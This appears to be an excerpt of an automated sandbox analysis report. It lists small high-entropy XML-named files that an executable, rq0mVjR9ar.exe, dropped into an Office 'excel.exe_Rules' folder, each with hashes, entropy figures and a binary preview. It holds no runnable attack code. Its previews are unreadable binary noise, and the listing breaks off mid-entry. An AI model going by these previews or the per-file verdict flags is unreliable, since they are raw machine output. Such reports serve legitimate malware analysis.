Preview:	<?xml....J..8...s....%...h..>..W..-.!.`J#..p..".1.(.-.e.Q.......@+......$.i.2..s.....R..S>..wsV..&l.....7..$..~..C.`...Z$L.}......X.......s+.:\|q....F...0...5.N...G....D.+.91).....y.RX.....(e.....Y~..-.Bj.)[.,(....%...uA..].y..M......l...\F...-.....I...E. N.=T<E..C.{J..7.....ZG...sA_-.)i/..X...........,.Q...<......T......3T.a..nRm..%`...>....i.^....av..<.A..jy1.]..w....&...3i.pe.!P1....4...'.........p<....\|x...R.`.j..^.,rQ..B.z&!._k..W.1.H.U.TK'UdYA.c+F..ib.*....&...%i...qk.....x'..sm.O.6WH/.>.O.d....FkG...-..Pd.G...hR2K.Y...<........#.....tK<......5.......4.\|.n...-.t.........n...\,.@..\|.5W...9...{......D.h.....,.l..or6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.7587257927794
Encrypted:	false
SSDEEP:	24:+vfuHSlwFCN2mIMwww+0xd6KUMmKaaQeVmlsjniTkbD:+vfuHSlVIBJ36FnKjVmlsjiiD
MD5:	2D4C22B545924360A6FC387118A703B7
SHA1:	762B88B2897DAFE549598B54B72C0FA3661149F0
SHA-256:	9942308AEF05D89257C9B6CE68CE301F566C9BC3EA8A12FE4FD0645D8864C264
SHA-512:	04CB79B7A9CF93B084BF6AF73108817CD4BBDBD7265B941BF487E6D6873AC3421BC7C1F0E3E47756546D182047EB014612E33E299924877A1854FCB6BA922595
Malicious:	false
Preview:	<?xml..D..o.Z_.#....f..3>RB..#1S....j...3..W...u..:A.Lf...g...6..M2;.........m...........mf...Nm.....(j6.3z.!....^...c.I\.U...........$...........U...)....<.e.. ..2...J.c..>6s....>..X.}..J;...(\|...y..'.4_.#M.K"2+zr.S.....%Gx.W......r...Q ..A5.9.3.N.t....`.....O..9jP...8...'@H.gV....'.Z...9E..K.0n..y.\|......k..z5..9.;9..\.....%r..K..M...N~2.){....9........4d.yN...'m...B;5.8.C.....P.......mf.)).YE,GF..R.2.s..cG3....zj...p...H...&{..+Ob.!!.....+..A..M<3..;.Q.....,R...ZH.0...F...Ml& ....sU./k..Q..].1.pg......s..Mv..a...f=1.N...1...O...[Lr.........Wo}z...\M...{.N/5...6......Z.v..#.B..q...9I..F0g..j...'..>..XWuI..i+>.oN...Q.u7..._.Y..._.Z...x3Q~...>P<\|......}<.g4s.`..{...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.699124449298882
Encrypted:	false
SSDEEP:	12:qJ51B1AJNhUKbuFjK7+H7KhRa55wfewRGSv6YTS6OBf/ePpe0mizixpZacii9a:I51YJNemuFk+bKe50ewdvTTOBspe5ciq
MD5:	CB905FC40352D1052CC3B1C6497BF28B
SHA1:	775DDD33AF9D8CB8FA99AFD22FB4F422F0261045
SHA-256:	B3DA566F823D30F8826AC98D43578A71ABE0B656D9D3BF6549F966720DE121F1
SHA-512:	C61D04AAC03379A6FD6E2C420252BC9C9BBE66B0F01D3F6AC1AC4902F11F2D4F4306433B0437F0447B6947821F20AEA6DE78100E7D87C525EAADD2E19C5F566C
Malicious:	false
Preview:	<?xml..k.a.3E`(.&.Jp.K)N..3...N.....;....2".p.-.)..&q.g....R'v)T..\|.e.w."6j.y....]w......P...]...].;..!..............1..~..A).z.3...V.L=...Ri.1Q...x.s..^.r.^y..(gES)e.. ..k...f..)..........G.#...p..\|.oN.6r..2...@..9..'.&U.t...@...A..$..?R.2.:B.8.1E..~..I.)....].6...k... .f..3........?}..6a....?P...lz...1...fn1r.}b..[.X .+.......y./.nY..V....:.T..A.Y,~......}.........?.]n..dEgl.Rz..c.n..B.FN=.........9..9...f-...c./.Qf.N.<.K.NX....YQ....[...~^.Hw".pA9.Y..........OM ...Cf...a4...dO..\..`.~z-...\|.:5V.".6...^...4...............[.../.++..^PN..-8..(..X..AP..jt...){.l/..>....T{..MT.jVLd7h~..\.d..i....Rm.... i[Ka..<.h....]o.....T../.c.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.7365191113964045
Encrypted:	false
SSDEEP:	24:0wSH5YfmPDUZNH17CxQvQ9i8Xw8C7EeHl/He/ViTkbD:JcCfdL7CxQvii8A8Coy/NiD
MD5:	1FDB52B243A3EA0764EBAE8632ADA505
SHA1:	3B95397924104EA5D567877A4070D5B25A91FB57
SHA-256:	B115E7031CB50EF0902D2EC8E73E36BD0985EA6573FB2759643F8B4CEDC21AB6
SHA-512:	8FF40FEF19869B16806A38E54A8FC280260FCBFDA204CA67E379C006610EEB79FBFE1BDF9A3EA5AEAE3A41D247771BD5C44FCBDBE528C21593F72A607C7D84C8
Malicious:	false
Preview:	<?xmlt.d3.M.mk..eQ<.z..8.._q.3.....I..=;W=%..+_.g/!....uk....!.3u....\M.Uq..Uc...&.....W ..2#.^.5L7G.[...b..O2k^o..H.u....eA..t.P...j..P.....4/WV.....G-....\.b..`D..\.0@....v.bN.edE[..2P.v.Z...q...M..".G....k7.ea.2~X{..Q..>...b.I.7m?.^.m....i..gw...2<....)Z.o.......r.Ur..z.gC.-..!8wXv......il.....!..hA.t....-3F.]..d..;.p{mR...e.A..k...a.C....4..-.".oP..^t..r.K.3..h...-.Kn.~.s..`>-..A;.I.9..g.\|.CF..<..x .T...)..n../..>...6...NI....'.OK..T....<=...v\i.'L.t0Y.y..I-x.O...Y.L.l..dv.....3.@?.9.....7\|.F.S.O.a....WU>..e.......&..c}z..;...`.W....+(..9....}...T.L.&...dt..{....E;...N?....c.U}"IW>M..%\J....Yh...@....X.......1....9..H..l.8.....J^.`2z. f.T.........sOM.l.\.._Pz...a#....fW..o.5.W....x.ox.Gpp...e...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.736304131472494
Encrypted:	false
SSDEEP:	24:mNEB4R3OO3JMORehd9vvQgSVZG+7uqmViTkbD:mIY3XZMO8hbvIgEAuuaiD
MD5:	E2502B806BEF400618267F7EBA9DEE40
SHA1:	F37900C49ABE0D7F73E9E63B741E4757AF484016
SHA-256:	033E171C47431109C8149C107F71A11667CB91F68BAA27F2B8F2E09521C80CB7
SHA-512:	2DAC47FEEF3D28F0F474531FCD219B98F0F9B690F11098EC6FEBBCE47D7BB62CB8659668BA409516CB540EFBCBD389CD289E46D3E0DDF77A507AF0B8BEC117D0
Malicious:	false
Preview:	<?xml&.Hq.......<_...m...W...6.....B}.......Y.Ql\|V..=.....4.'o.G_w.......$&..3...9 .....j..N....l.?m.]...Sb...{:..t(.!..A.#.m_8.o...)Z>^.y....b...a....}..]d+.........".Ig.cS:..[..y........Ll.....)^....rP.;.q?..?^H<".n...dV..kR.T.j".6.....C.....r.nW.^..E:dI....-.#...d@.U.DK._..N..v.K2%r.~\|F)SB.~...`..?M...._.....q..;....Zh.......4&...Z.S..............r.Z...../....Z55.....Mj.X..G..........>1..12 ...]A...%4h..A..k..gb._..H..S..e.Cyr..'0.A6.?L-..(....{.[%.}.'...n.7.v[..5....P.D....;.#.?.....f.N. ..R\|=..E.4.X..i...R/...~......C..!$..e.t......v..?.W...,..=a...51.....K.$.".6.V...4....y....-B.7........*g....Ep...OE.Z.3+$..x....].D..T....G5....'LO..^.z....RW.....QmK!..zki.....j.d....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.7536743546388305
Encrypted:	false
SSDEEP:	24:p+AiuVmwjJo+1X0NlVecil8rE99QnLy+00ZiTkbD:w+VmPUc+9inW+L4iD
MD5:	53B0AC871BC5F8696653E809CE658D5F
SHA1:	5736FA0037C880ACA1E3C923A33744879D220943
SHA-256:	07F1194EC63C7597075968F49623AA8D2C1974BBEB61314648563F09F6127B5B
SHA-512:	5CAF27BD6567B9C17908C47E047AB928FCB5A7AEFBB2A033A2A0BFB7CA2518FBC4628160469F9A3DF68F13B66D2A015C46AC56184BE51E712E6ED20DF69CB66F
Malicious:	false
Preview:	<?xml..8.C.....]..nN....Z.....=.~..(`.'T.....Fs.R..~.d4../...'N........P..,LF...Z@.=%..)...L.~@(.Y.f.w."#.O}........~.?...........L:..q....A....L._.W.....m ..p...%.....8...fr...-.Z.......S.o.90:....f..b1.@i..-.iF....S...l.T..uY..$..FG....vb..;,}.m..e..[4E.w..+.S_4._.@.2....!.+....Fw.W..l.....@._N}\a..'..........$..F.$d..h.dr.\+].@..S...z.%`3)..P<..`.C...f.._"...../.a.........i.....7...../...DR.$}..2c.y..](T/..~.....{:...L.B+u.E..i....e,E.w.o.h...2...&v(y....iT...EC.&.r4...\._.k..\<?QbN."....Q.....zq...!:..r/oc !7..0:.M6......5.f.}.$.....E.Q\|..H.,6.q.......f..A.....D.Eb....].gW.S.../..-E..q...b.m. .R ..............h..c.+..b..c........J>.....v.^&.}S-.*.....O.s.."=.........Pm.0@.:.,...E.;..or6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.707823242207901
Encrypted:	false
SSDEEP:	12:xxookOhhVWQJ63XTXPyrm3XnboOV+E49sqS/d2EQOPsRIj+YxK+wY06k/ixpZacq:UJOXWV37Py0XnfMEis9tYIj+YA+wIKiq
MD5:	29F3DE7949C4C2E652CA97801F4830D3
SHA1:	0F754D5D4C75EAFAAA74AD80D50F54CF4A0539FA
SHA-256:	1C4808C3833FACD107F8FDB2A4633C3F9D2340E7718A4F24552FF9E6C299EA11
SHA-512:	D3509C5712407E6E19CF9E9A715B482A81B8E0742FF5DDE14186276EE71D5F2A1B1500BD36B34DDE5E4D8D7706C46E1182EAF133F7892FA6A9FE3FAE67709111
Malicious:	false
Preview:	<?xml.X.TiP...).$.X.oh.$.m.IM..N.I.......) .<...D...........6DP..L..$WQ`.0..h.}........ZM.D....a.6.../.5=..uS{....K).......[.w....-...>.2..X; +...d...e.....E..ev....7..>..s_.p......k...Q^B......]...t.S....,.).......8~.6.....za.E.."P.~.h:Wo..z..+....#. ...^:E.j...s..3 .....{...~.Ks.Y3..9..0..}..C..A...A..&..HS8....&_.G.7..\b*c.V....n0.. .4t22.2^'..!Bj..6......x....kSF..<..........'.=O..(..wA..)..<\...r.S(p....c._...we.nA..../.)~..\|..~.N.a..$.k..Gh}...&,.H.B.>.$i.q.8\|.Q....U_..N.."j../......h..)~y.X.k4......5..LHk..-`......!WhN2.7..d.?.......M.1.C.:."....qJ..#a.V.51 .1...J.1..!..&..3k....w.E.L..J._-.C".n#.gd..n..N.r]G.1.br6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.730804664476503
Encrypted:	false
SSDEEP:	24:vL7FzbWB8BB+mjZMlkH8RCHhPqFQNfX4zgpMCedqCEiTkbD:vL79bWBGRlcRghSFGOPdqCdiD
MD5:	E1F8CCAEB2A6F2E9A9196DCE92EAC7BD
SHA1:	138568391833164E0583C09CA6C556D2BA54BF91
SHA-256:	EFCB81B29FBC3F4EBD421E029CE4B18347DB0416921C3EBDF6858C8366BA5D37
SHA-512:	0E98FAD0B3360D49943C2B1D58CD62958AA19E949A2837A62EB9E8356F62F30E8F691D7DE7644782D96B12530B25D94F18174788BC4CACDF46AAA04D7D3E71F4
Malicious:	false
Preview:	<?xml.XTo.I. .'T.k....j.01#.l..L7..+v..\|....S.z..(...N.qf.d)9#..0..c. ..../.....\|..G.A.j.:.5.c..2..V@..@...<./0c..."..{k..A..}.O.".-Y...rFaZ&..+x..4....~.....c_.\|W#...@<....+.9....Q..in...D...y-...&....~..c...t.3.;g.W............!p.E..t.........{j...F..]).f..._.JyJ.H.P..CVs..S..a...;.l.5.J..6...W..Q...,Y.d...D.T'.cX.p.9.bP..\.8S^.fY...F...7.Q.9............@..U."..t9.4..b.E.c...y(i-?.D.N....JbGy;.?..'.....)..6.......z.e.7..)...~.'........Hsq0m..:.Q.x.\..Y..........-.]5.5..`..O.#..=.K..^...s....=..k...An. ..@.<e..yy..-r.;...PE..m{...w...4...D@.I.<.....XmeF...l........ .%<.~]...'.-b.`f7k?...<\.m....C.t......N..]Z..(..9..`..Y......'"..=..........7.y\|G....Z.....\|I..Bg$.z...J..-I...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.6931406993574525
Encrypted:	false
SSDEEP:	12:c4vJaXTm+JhwvLkkVT//FlpNU7VFvGuqeR17wF2HcI0K9N1CixpZacii9a:fuQFrNUBq8wkcI0UXCiTkbD
MD5:	A079A59C2EDD8F7EEF219FD158CA1CB3
SHA1:	1792D61D4B0B9232879EA96A66A43707188D110A
SHA-256:	40D08BAC737767BFC43D78AB12B9CA62954BE7D0E2044E8D4646B0FD9331D24A
SHA-512:	9C109F7C967D1BAA652B211FA196ADF680A50264D731922913F0B606638B6AE19EA7EADD412EAEFDEB39FBBFC3B09E73950E8D7E3651F7AC394CF0230C8FA28C
Malicious:	false
Preview:	<?xml!$.f.9{...:..a.>G"6....=......rR ..[...... ..8.V.q......]./z...S.......A.{.0..f/q...$....?U..g\|.o.....B.+Y..`V~.^..M.....F.......%k....];.\|.. 7e.B.nhlV.r5.C...?l.a.....@...;..w.E.{..8.#..@8.(#.-.-..>.`lKO.d.~.....z...\|Je...;..6..;Ho..M....t#&.......\|...s5.N..P..V/..L....U^Q[.&+...{m.Jh.z....L1P..r....<.1qb9.......z..0......)-4%@.4......_O....1..Uw`..C.q.(..-.f....U.{..=Fi..C..I&.XDY.Lt.b]h(.P[_.2..;.....^..$.4@...C..L0@.T.S.'c&...5..'...`O..#.?W6.t..5..;.._.3.7..`d..D.Bh..aQ..............-.p....;......v4....Y]).7A...3..h..J.oZ.q..3...x.O...t..O......o.j......2T.. sy..g.B..uoQ.V../g..\S...E...9/....JS.!\..F..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.711654846415079
Encrypted:	false
SSDEEP:	12:RUo1TZB/5l2JVZiVM0EKuixwTt/FJ16E3pGGp34QKs8cpD7zKzz0eTunmbxixpZE:RU8TZBP0ZuQKu2Sx9GG1Gf10mbxiTkbD
MD5:	0BB13B3E517695AE95AEC390EFDECE5B
SHA1:	CB548603C80C7251C30F7BBEBF0115F6F5B0C430
SHA-256:	708F5F28DE61FB51FCCDF8F3841FBE00EC3EC579C8971BA0613565D1C8110669
SHA-512:	23516BBB45D5C822B70B8F6933D993CC9C5B44D62D9EC5ADF67A9A51A54A8B6DB49471D77824466414EECB86FB5A42DD5D6A605A01753D915EB981C360D00B92
Malicious:	false
Preview:	<?xml...@!{...[M.......0+....'...8Srg..(,...Y.9._^..\|.C.....a......}S..w-..t~.,rw....0...%:..y.I.x...Z.......%1...f..@..N;<?X.....v...!..0...A)...%.e..:s.<.....7h...%. fz......c.1..o.....:........)....5-.9P...h...0=p..B.1.)Xt....;;.;.....y.g.d.Tf=.Ri.l...[.9...N.U.}5.hiYFGo........J.$........a...p...,q.$...m.k...~..O...f.0W).,wF...0...c...k...j...}...q./..>X)<!5.../..<E0.#\|.a.P.+^..N>p...-...r&.Ohr16..qb.`.lT.r}.y.._...\|. .Y..USL...P.@..zB.%..=..BR....s.<c.l.6h...5.u...>(..].s(.`.il....P..\|.uv.....N.YZG....M.G..1c]/....Pa.Y:.......p.x.g4.....LEN.!...&s.dy.-(..*..m...D..s..k..Y.j?).....91......)...f(.~S.......V.....P..U......uE:.<.Q.....D...A..B.R..pA........{?...p.x-..Pr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.716084013144547
Encrypted:	false
SSDEEP:	12:SUVwXVbaKWOQqT6PO5TgB2BF9DH1JMMIJ7dNUtNtYWumzI9Sklegqt/sUbF2ixpW:SUa8fNPO5TZDDMMIJ/Ur+Wu59V47EUb8
MD5:	51A8B00A57513FB61FAC1CA03C6F1A80
SHA1:	D1B7997835BC3BA9F69046AA61D35416E3547978
SHA-256:	F40B8407F0B75C257AEDB3FABCC620FE81DC6B83D72CE4A49D281A7175B95582
SHA-512:	303E29021040D9709D51072291343DC15BF0EF7588FD05522B35DB0AEC6CFCB2FAD4BD5E95C8253B3C26DA9C2DA7AB043B6671730BCA00DC54E80AEE22F6C230
Malicious:	false
Preview:	<?xml..9.t=.b......v..../j..N .F.\|\|.AZ.....-W_d2C..n.......t........ :...i..u%KN.V..7...}.[...Ao....OU.`.L .M.P.H..a...-..h...fuZ..j}`[.0..o.po{W.....t.;2&..O.....&7.f....($p..kU.`..W..i.y%.{]+'.......L.D..0...c..J.........bG]2"$.-...z.2.Y.A.yI..[.P....h...z....P.........d6......(.......i..s........r..p.a.:.%...].2~[.G.../x.m.d.%.5..G...,..s....._..\|..]..........].K......fGE#%...S.....e..m.\|..Z....}.h....RaS..\|<~..v,EI_...-....8.z.z.8E......cY.....+......].~.....'...5s..2.w.[W.U%....,....WE.....g~`..h.`s..Q.h>m...JM..A[.0.{P3.&r..I.d.0.....m\)....F.r!..dp....T...Sg..3v?L...Ce....)......x64"..G....E...xIh(C..,.V..ziSp7C^-. ..zT.%..e..dU.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.7307964282266965
Encrypted:	false
SSDEEP:	24:mZCkXPEXUlC2reRVk4j6YcDbaj2AdXB9uI/iTkbD:msk/xlxrWkHxvaqAdeIaiD
MD5:	2F17BC124804D3BF1E8B3A510253780F
SHA1:	E373BD307FDFD730A7FAED7460EC98B585883713
SHA-256:	E06981E85094A37D73C0A70F1E2FE2A4F7F220FB97F001ECAE196DFEF2515075
SHA-512:	7DDE8B0D69333B256E6EB771DEFAE5C62A2E105A1D4040D1FDBEB4818572C0062BA2DFABD7BB17E4B1DCA76CA103EC2CF8E5ED8F3A04BA69C040232B440A2DED
Malicious:	false
Preview:	<?xml...........Oz.l.}7.a,dHG..O...f..4#o%.Q.%........).}..x\.t.@.....T0.,.._.g.d.j.../......z.wu......w.G..7&+0m4G.)]...... ....[.6....~.:9.nu25.gs3...p@eN.[}.k....4Y....b.W..v.UcUu!f...).%w..G......Nl..:ts...eYs97.ha.p.E.<..)..a..q...F>..P..\-..'....f.;...A..&X.N.N....8.L.....(...2....TY.I8m$...:W..qv.......htW...............N..jn/...b.,_\O.`sF.f.......C.I..#.......B.b.j.k...su.....2...[O......Q.=.8.W...w....9.\|.a.F.sH.T.......%Wz...s..nR....@#....`...Siv.Q.<.d.;..".t..{asKq.P...(B...`..4N...1</.#%..g.I../;..9z.B.h....4.Ak.K...@.].#...^<w...e.._..T...".l.R.v.#......I(.2..{.g.4...6(.m.s..O..'+.>.Q..:'}..k.....t.#~...C.............No.6...(..a.[.1gLx.J!.:-Ri.......)A..>.Z.2.Ab .[.:.>......)i.<cw\|l......G.*....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.693835360219065
Encrypted:	false
SSDEEP:	12:sOz4ygGmtV13B/8wBJUSCWOKIgPOZqiTl9GmwSuK222vlKRrJ46aXKbBHko5ixpW:rz1avRqjKIg+qix9G0u722AFwXKbD5iq
MD5:	A137E19BCB32675DE828097331878CAD
SHA1:	6DCEC9C634DB17D8C4820A022AF1881B6CEB07E6
SHA-256:	22DA24A5B5C54336EE801CFC0F9E9921836DEB7149784A42064383CCF10D1790
SHA-512:	9542B1F73757B01B8344F418F200F3D9E345078460672C568D292BA95CB17211DD9A76D24BBD1EF53704460F35FDC2991AE2A8F6176B9D966D8113C5BC741182
Malicious:	false
Preview:	<?xmlPI....#...n....4.x.^.W9.X..,i..n...T..f:+...{....,..lS....R.lMBd.....fR=1Mf..F0.U.....w.{..G`o..U..w....z..(.......f8f/.!...c4..rh.......DP......O...t. k..u.(..6..w8.c...^.[i}...U%...r...v...w..~..5D.B..i....hF...V.X...1.K.......G.X..7...,.b....e....o..6@.3...ve,..S].}.Pn....5. F..I..._.@.l.Qut.4..Lol.....sj.a..>..iS=Nl...lU-............]Q...K.p;..:u.....a..n.$...%..?..\|..3.v..w".^.7...?..6.9.z..,......U>.........A..Ck+<\Be..Z<....j2....`.^...2..$..jK^8cm.W.5F....9....S5.......a.....!G......'....2......s._.n~.%GC....ed@..j.....b............{..~G...`*..f....=j..atj...fd9,..z.... .......V.&d..['....f=..$@)....V.,,.{#...Z.3$7r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.70808628139374
Encrypted:	false
SSDEEP:	12:7bNcQARGtBbhR9rdBfRgsKWUelDe97HP8TnNRvZXbeoLnA1ZZFixpZacii9a:7BcXA7d/7pgsKIlDhBRvp1nQTFiTkbD
MD5:	C64907C74D782A8A622A976EFB954D5B
SHA1:	8E27447F0718078B64461CCF27D1A23BDBFF1490
SHA-256:	1349833B212FD3FB1F4A35222AD8C1221A727B4C17D13CDFF02FB8CFA7A37FDA
SHA-512:	DDB93E6FE3F5D222974EDE2A9F85461B6FD78ADC281FF7676FC28EE65A287AB745A2A80040BF3A9BBB3ECF03634C1276B6A6384DC225A44B11893D3DF7C9CABF
Malicious:	false
Preview:	<?xml.....(..:cc5...qV...;-......5suu./..h..G....J;W.=.....3QX..t..N. ..,/v..&..e.&$..S..+.y\|2....j.:}...+..-..4...8...g.+..i..3s.D.g.$h....<...t.A..Q...zr.e..]....'H.,.sn.S...b...N...... .U.^.h'._....'..I..e....J?.(._...n.{Q.........u..........MU.9^.......!#w....v...z.R.....EQR..V.u.<..=/.4$...n.o.}.............V.L....".:.._.=U..../..P;Bj.Ba..<.Ti.z..Arz.D.?...T$HEn..A..U}.r....X,C. ..}!\\|...3.DL...H.V......T.Q,hA.{m.6.Y.....7.N.e.f.#O.~.e..V...G4...).}..].....PA.@2D..Vu.............0F.D.D6.<x........Fv#...P...,}U..7w..}[...0.........[.....io.!=...}..3m..NhE.NR..u..X>iNUw:..........x7..i...&J...\|T....ya'.;)..cW...I..L.:.................!.-..c.R.....[..j4 0B.<I.]....Z.m..d.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.6902492175811465
Encrypted:	false
SSDEEP:	12:THtGQhgzYDQuirukS8bVURhIZclu3eWptAeFU8l9h6HErPei1thixpZacii9a:THtGQvMuiruuhZVuuAea8lprP1thiTkX
MD5:	752639280113ED16BD7152ECD5051417
SHA1:	B3D709BACD5C3C71BBD083C8B2205FF627D8A450
SHA-256:	4E993D0546B469F98BDC9C0D84E70FAC34C68A3290C2A42EC2ADABD8C24B74AE
SHA-512:	BA37000064A4B2287311D13E64AA1EF12A7F6883CC67BFB82B4ECA4808A02BBD1DAC29884E1F3CF5091E540C972C4CF9D5ADB1A54F0868A4979F66FC1AE0ABF2
Malicious:	false
Preview:	<?xml.^.8.l........a'.o......Fg;...p..=.L..z.6Z......[.Sg...2...e...._.i..x.p.....8....!.m.(Gb.g.6...cN.#..,.~'E...W".)...2..y2X.`..]...........mK...yHW.N.\|...v..+..k9.2e....>..m.!e0?cI%..E.;...!q..u.Y.E"..........h..G..a.g....O...@Xa`.~b\|..$.X.7r..*.x....Pq.h.f...1D3FD..~...C58r..~Ul}[_.W!.M...tRi<d,.i4Z.B.P.4;.l...].P..{.1l..v.H6....G?.&"R.....{.o.n!........m7.,$..K....Oi.GMJ...5..+.....Cf}.V..\............p.F>....&&..pD.?...beX.4g...N{.r....!U=.1X.O.h.5e.(...-..F.Z....lu...AR.U..>....B.L.....xF\|h..l.<..kt.Q..j..@]..p...!i..[?B.LWN.&..Et...}8...)..XYCp:bx....U....}gI._.C.............%Z....?.#.a..g...Q>.:ex.?.YB.h...2..o..Q..&}..7u7r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.75479326339704
Encrypted:	false
SSDEEP:	24:pp4IQqjNMnNrRLgjdvNVpTs6e69l2iTkbD:pCIBjNu/cB1VJs6xfiD
MD5:	05FEF4D2E4F3E310979E2AFED611601E
SHA1:	D2C9597328E5EB4BB7DEA465363FEF57BB8FED84
SHA-256:	88226FC0C8A71F4F2D43832E2080EA9FB96457A08EFAB9B40FA6C93D8949EB29
SHA-512:	B5C68883EA6877E54869711541E86DE78A23B9AD11C7A88C5FBE014E40B9685E33D59D33418144EA2663C27546E1FB4A53B987822D9A53D27E57A08F4E1C09C2
Malicious:	false
Preview:	<?xml.'.f$...Ng.+,.X.b..Y`.(....A\|.Y.J...@){xqX....b.....55.!..`....7....EO_.......w.f..!..t.S.t.....m...uT.F.././j......s...sf.r.m...w3y.z..)O.V......B-..;...~].?....d.Qx....z1.Zt...~..v..`).P...Kw...Y.B.>....Mt...x.c....._...0..gf.p.0...<{4t....h2KX....C{1h.W..v0..$3n.m.I`...N3n..E....\|'...t=..4wVCO....h..+.u...........=...(..5...Kse.........S."MY......&A....w...ed]...s.._.....K......5....U....{a....ux....7...r5..>%.,=.\......W.C...h.{..3....v..Ki...............m...J....eZH@CI...a..a....J....`e^/I...{....?PGb1_n...Lfp.~q..&.E.....@..W..*.G6...o..iD.. V......n.9\6....-...q......W.C.!g6..1....c..wC.....D...z.H..{B[.\|fv........e..l...Qv...0.Q..8 ...?...sY.....aT..D....$.L.."y............nG...1.r.:3.?.Y.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.704775597649694
